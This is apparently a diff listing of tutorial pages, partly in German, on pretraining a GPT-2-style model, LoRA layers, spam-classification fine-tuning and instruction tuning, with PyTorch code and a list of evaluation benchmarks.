||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
|
||||
### Select device for training & pre calculations
|
||||
|
||||
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
|
||||
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
```
|
||||
|
||||
### Training functions
|
||||
|
||||
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
|
||||
|
||||
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
|
||||
|
||||
Then the big function `train_model_simple` is the one that actually train the model. It expects:
|
||||
|
||||
- The train data loader (with the data already separated and prepared for training)
|
||||
- The validator loader
|
||||
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
|
||||
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
|
||||
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
|
||||
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
|
||||
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
|
||||
- The device to use for training
|
||||
- The number of epochs: Number of times to go over the training data
|
||||
- The evaluation frequency: The frequency to call `evaluate_model`
|
||||
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
|
||||
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
|
||||
- The tokenizer
|
||||
|
||||
```python
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train() # Back to training model applying all the configurations
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train() # Back to training model applying all the configurations
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
|
||||
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
|
||||
>
|
||||
> _Note that these improvements aren't included in the previous code._
|
||||
|
||||
### Start training
|
||||
|
||||
```python
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
|
||||
### Print training evolution
|
||||
|
||||
With the following function it's possible to print the evolution of the model while it was being trained.
|
||||
|
||||
```python
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
```
|
||||
|
||||
### Save the model
|
||||
|
||||
It's possible to save the model + optimizer if you want to continue training later:
|
||||
|
||||
```python
|
||||
# Save the model and the optimizer for later training
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
# Note that this model with the optimizer occupied close to 2GB
|
||||
|
||||
# Restore model and optimizer for training
|
||||
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.load_state_dict(checkpoint["model_state_dict"])
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
|
||||
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
|
||||
model.train(); # Put in training mode
|
||||
```
|
||||
|
||||
Or just the model if you are planing just on using it:
|
||||
|
||||
```python
|
||||
# Save the model
|
||||
torch.save(model.state_dict(), "model.pth")
|
||||
|
||||
# Load it
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
|
||||
model.load_state_dict(torch.load("model.pth", map_location=device))
|
||||
|
||||
model.eval() # Put in eval mode
|
||||
```
|
||||
|
||||
## Loading GPT2 weights
|
||||
|
||||
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
|
||||
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
@ -1,61 +0,0 @@
|
||||
# 7.0. LoRA-Verbesserungen beim Feintuning
|
||||
|
||||
## LoRA-Verbesserungen
|
||||
|
||||
> [!TIP]
|
||||
> Die Verwendung von **LoRA reduziert erheblich die Berechnung**, die erforderlich ist, um **bereits trainierte Modelle fein abzustimmen**.
|
||||
|
||||
LoRA ermöglicht es, **große Modelle** effizient zu feintunen, indem nur ein **kleiner Teil** des Modells geändert wird. Es reduziert die Anzahl der Parameter, die Sie trainieren müssen, und spart **Speicher** und **Rechenressourcen**. Das liegt daran, dass:
|
||||
|
||||
1. **Die Anzahl der trainierbaren Parameter reduziert wird**: Anstatt die gesamte Gewichtsmatrix im Modell zu aktualisieren, **teilt** LoRA die Gewichtsmatrix in zwei kleinere Matrizen (genannt **A** und **B**). Dies macht das Training **schneller** und erfordert **weniger Speicher**, da weniger Parameter aktualisiert werden müssen.
|
||||
|
||||
1. Das liegt daran, dass anstatt die vollständige Gewichtsanpassung einer Schicht (Matrix) zu berechnen, sie auf ein Produkt von 2 kleineren Matrizen approximiert wird, wodurch die Aktualisierung reduziert wird, die berechnet werden muss:\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Hält die ursprünglichen Modellgewichte unverändert**: LoRA ermöglicht es Ihnen, die ursprünglichen Modellgewichte gleich zu lassen und nur die **neuen kleinen Matrizen** (A und B) zu aktualisieren. Dies ist hilfreich, da es bedeutet, dass das ursprüngliche Wissen des Modells erhalten bleibt und Sie nur das anpassen, was notwendig ist.
|
||||
3. **Effizientes aufgabenspezifisches Feintuning**: Wenn Sie das Modell an eine **neue Aufgabe** anpassen möchten, können Sie einfach die **kleinen LoRA-Matrizen** (A und B) trainieren, während der Rest des Modells unverändert bleibt. Dies ist **viel effizienter** als das gesamte Modell neu zu trainieren.
|
||||
4. **Speichereffizienz**: Nach dem Feintuning müssen Sie anstelle eines **komplett neuen Modells** für jede Aufgabe nur die **LoRA-Matrizen** speichern, die im Vergleich zum gesamten Modell sehr klein sind. Dies erleichtert es, das Modell an viele Aufgaben anzupassen, ohne zu viel Speicherplatz zu verwenden.
|
||||
|
||||
Um LoraLayers anstelle von linearen während eines Feintunings zu implementieren, wird hier dieser Code vorgeschlagen [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,117 +0,0 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
## What is
|
||||
|
||||
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
|
||||
|
||||
> [!NOTE]
|
||||
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
|
||||
|
||||
## Preparing the data set
|
||||
|
||||
### Data set size
|
||||
|
||||
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
|
||||
|
||||
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
|
||||
|
||||
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
|
||||
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
|
||||
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
|
||||
|
||||
### Entries length
|
||||
|
||||
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
|
||||
|
||||
### Initialize the model
|
||||
|
||||
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
|
||||
|
||||
## Classification head
|
||||
|
||||
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
|
||||
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
model.out_head = torch.nn.Linear(
|
||||
|
||||
in_features=BASE_CONFIG["emb_dim"],
|
||||
|
||||
out_features=num_classes
|
||||
)
|
||||
```
|
||||
|
||||
## Parameters to tune
|
||||
|
||||
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
|
||||
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
param.requires_grad = False
|
||||
|
||||
# Allow to fine tune the last layer in the transformer block
|
||||
for param in model.trf_blocks[-1].parameters():
|
||||
param.requires_grad = True
|
||||
|
||||
# Allow to fine tune the final layer norm
|
||||
for param in model.final_norm.parameters():
|
||||
|
||||
param.requires_grad = True
|
||||
```
|
||||
|
||||
## Entries to use for training
|
||||
|
||||
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
|
||||
|
||||
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
|
||||
|
||||
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
|
||||
|
||||
```python
|
||||
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
|
||||
model.eval()
|
||||
correct_predictions, num_examples = 0, 0
|
||||
|
||||
if num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
|
||||
with torch.no_grad():
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
predicted_labels = torch.argmax(logits, dim=-1)
|
||||
|
||||
num_examples += predicted_labels.shape[0]
|
||||
correct_predictions += (predicted_labels == target_batch).sum().item()
|
||||
else:
|
||||
break
|
||||
return correct_predictions / num_examples
|
||||
|
||||
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
loss = torch.nn.functional.cross_entropy(logits, target_batch)
|
||||
return loss
|
||||
```
|
||||
|
||||
Note how for each batch we are only interested in the **logits of the last token predicted**.
|
||||
|
||||
## Complete GPT2 fine-tune classification code
|
||||
|
||||
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
@ -1,100 +0,0 @@
|
||||
# 7.2. Feinabstimmung zur Befolgung von Anweisungen
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Abschnitts ist es zu zeigen, wie man ein **bereits vortrainiertes Modell feinabstimmt, um Anweisungen zu befolgen**, anstatt nur Text zu generieren, zum Beispiel, um auf Aufgaben als Chatbot zu reagieren.
|
||||
|
||||
## Datensatz
|
||||
|
||||
Um ein LLM zur Befolgung von Anweisungen feinabzustimmen, ist es notwendig, einen Datensatz mit Anweisungen und Antworten zu haben, um das LLM feinabzustimmen. Es gibt verschiedene Formate, um ein LLM zur Befolgung von Anweisungen zu trainieren, zum Beispiel:
|
||||
|
||||
- Das Beispiel des Apply Alpaca-Prompt-Stils:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
### Instruction:
|
||||
Calculate the area of a circle with a radius of 5 units.
|
||||
|
||||
### Response:
|
||||
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
|
||||
|
||||
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
|
||||
```
|
||||
- Phi-3 Prompt-Stil Beispiel:
|
||||
```vbnet
|
||||
<|User|>
|
||||
Can you explain what gravity is in simple terms?
|
||||
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Das Trainieren eines LLM mit solchen Datensätzen anstelle von nur rohem Text hilft dem LLM zu verstehen, dass er spezifische Antworten auf die Fragen geben muss, die er erhält.
|
||||
|
||||
Daher ist eine der ersten Maßnahmen mit einem Datensatz, der Anfragen und Antworten enthält, diese Daten im gewünschten Eingabeformat zu modellieren, wie:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
instruction_text = (
|
||||
f"Below is an instruction that describes a task. "
|
||||
f"Write a response that appropriately completes the request."
|
||||
f"\n\n### Instruction:\n{entry['instruction']}"
|
||||
)
|
||||
|
||||
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
|
||||
|
||||
return instruction_text + input_text
|
||||
|
||||
model_input = format_input(data[50])
|
||||
|
||||
desired_response = f"\n\n### Response:\n{data[50]['output']}"
|
||||
|
||||
print(model_input + desired_response)
|
||||
```
|
||||
Dann ist es wie immer notwendig, den Datensatz in Sets für Training, Validierung und Test zu unterteilen.
|
||||
|
||||
## Batching & Data Loaders
|
||||
|
||||
Dann ist es notwendig, alle Eingaben und erwarteten Ausgaben für das Training zu batchen. Dazu ist es erforderlich:
|
||||
|
||||
- Die Texte zu tokenisieren
|
||||
- Alle Samples auf die gleiche Länge zu paddeln (in der Regel wird die Länge so groß sein wie die Kontextlänge, die zum Vortrainieren des LLM verwendet wurde)
|
||||
- Die erwarteten Tokens zu erstellen, indem man die Eingabe in einer benutzerdefinierten Collate-Funktion um 1 verschiebt
|
||||
- Einige Padding-Tokens durch -100 zu ersetzen, um sie vom Trainingsverlust auszuschließen: Nach dem ersten `endoftext`-Token alle anderen `endoftext`-Tokens durch -100 ersetzen (da die Verwendung von `cross_entropy(...,ignore_index=-100)` bedeutet, dass Ziele mit -100 ignoriert werden)
|
||||
- \[Optional] Auch alle Tokens, die zur Frage gehören, mit -100 zu maskieren, damit das LLM nur lernt, wie man die Antwort generiert. Im Apply Alpaca-Stil bedeutet dies, alles bis `### Response:` zu maskieren.
|
||||
|
||||
Damit erstellt, ist es Zeit, die Datenlader für jeden Datensatz (Training, Validierung und Test) zu erstellen.
|
||||
|
||||
## Vortrainiertes LLM laden & Feinabstimmung & Verlustüberprüfung
|
||||
|
||||
Es ist notwendig, ein vortrainiertes LLM zu laden, um es feinabzustimmen. Dies wurde bereits auf anderen Seiten besprochen. Dann ist es möglich, die zuvor verwendete Trainingsfunktion zu nutzen, um das LLM feinabzustimmen.
|
||||
|
||||
Während des Trainings ist es auch möglich zu sehen, wie der Trainingsverlust und der Validierungsverlust während der Epochen variieren, um zu überprüfen, ob der Verlust reduziert wird und ob Overfitting auftritt.\
|
||||
Denken Sie daran, dass Overfitting auftritt, wenn der Trainingsverlust reduziert wird, der Validierungsverlust jedoch nicht reduziert wird oder sogar steigt. Um dies zu vermeiden, ist das Einfachste, das Training in der Epoche zu stoppen, in der dieses Verhalten beginnt.
|
||||
|
||||
## Antwortqualität
|
||||
|
||||
Da dies keine Klassifikationsfeinabstimmung ist, bei der man den Verlustvariationen mehr vertrauen kann, ist es auch wichtig, die Qualität der Antworten im Testdatensatz zu überprüfen. Daher wird empfohlen, die generierten Antworten aus allen Testdatensätzen zu sammeln und **ihre Qualität manuell zu überprüfen**, um festzustellen, ob es falsche Antworten gibt (beachten Sie, dass es möglich ist, dass das LLM das Format und die Syntax des Antwortsatzes korrekt erstellt, aber eine völlig falsche Antwort gibt. Die Verlustvariation wird dieses Verhalten nicht widerspiegeln).\
|
||||
Beachten Sie, dass es auch möglich ist, diese Überprüfung durchzuführen, indem man die generierten Antworten und die erwarteten Antworten an **andere LLMs weitergibt und sie bittet, die Antworten zu bewerten**.
|
||||
|
||||
Weitere Tests zur Überprüfung der Qualität der Antworten:
|
||||
|
||||
1. **Messung des Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU bewertet das Wissen und die Problemlösungsfähigkeiten eines Modells in 57 Fächern, einschließlich Geisteswissenschaften, Naturwissenschaften und mehr. Es verwendet Multiple-Choice-Fragen, um das Verständnis auf verschiedenen Schwierigkeitsgraden zu bewerten, von elementar bis fortgeschritten.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Diese Plattform ermöglicht es Benutzern, Antworten von verschiedenen Chatbots nebeneinander zu vergleichen. Benutzer geben einen Prompt ein, und mehrere Chatbots generieren Antworten, die direkt verglichen werden können.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval ist ein automatisiertes Bewertungsframework, bei dem ein fortgeschrittenes LLM wie GPT-4 die Antworten anderer Modelle auf verschiedene Prompts bewertet.
|
||||
4. **Allgemeine Sprachverständnisbewertung (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE ist eine Sammlung von neun Aufgaben zum natürlichen Sprachverständnis, einschließlich Sentiment-Analyse, textueller Folgerung und Fragebeantwortung.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Aufbauend auf GLUE umfasst SuperGLUE herausforderndere Aufgaben, die für aktuelle Modelle schwierig sein sollen.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench ist ein großangelegter Benchmark mit über 200 Aufgaben, die die Fähigkeiten eines Modells in Bereichen wie Schlussfolgern, Übersetzung und Fragebeantwortung testen.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bietet eine umfassende Bewertung über verschiedene Metriken wie Genauigkeit, Robustheit und Fairness.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Ein Open-Source-Bewertungsframework von OpenAI, das das Testen von KI-Modellen auf benutzerdefinierten und standardisierten Aufgaben ermöglicht.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Eine Sammlung von Programmierproblemen, die zur Bewertung der Codegenerierungsfähigkeiten von Sprachmodellen verwendet wird.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD besteht aus Fragen zu Wikipedia-Artikeln, bei denen Modelle den Text verstehen müssen, um genau zu antworten.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Ein großangelegter Datensatz von Trivia-Fragen und -Antworten sowie Beweisdokumenten.
|
||||
|
||||
und viele, viele mehr
|
||||
|
||||
## Code zur Feinabstimmung nach Anweisungen
|
||||
|
||||
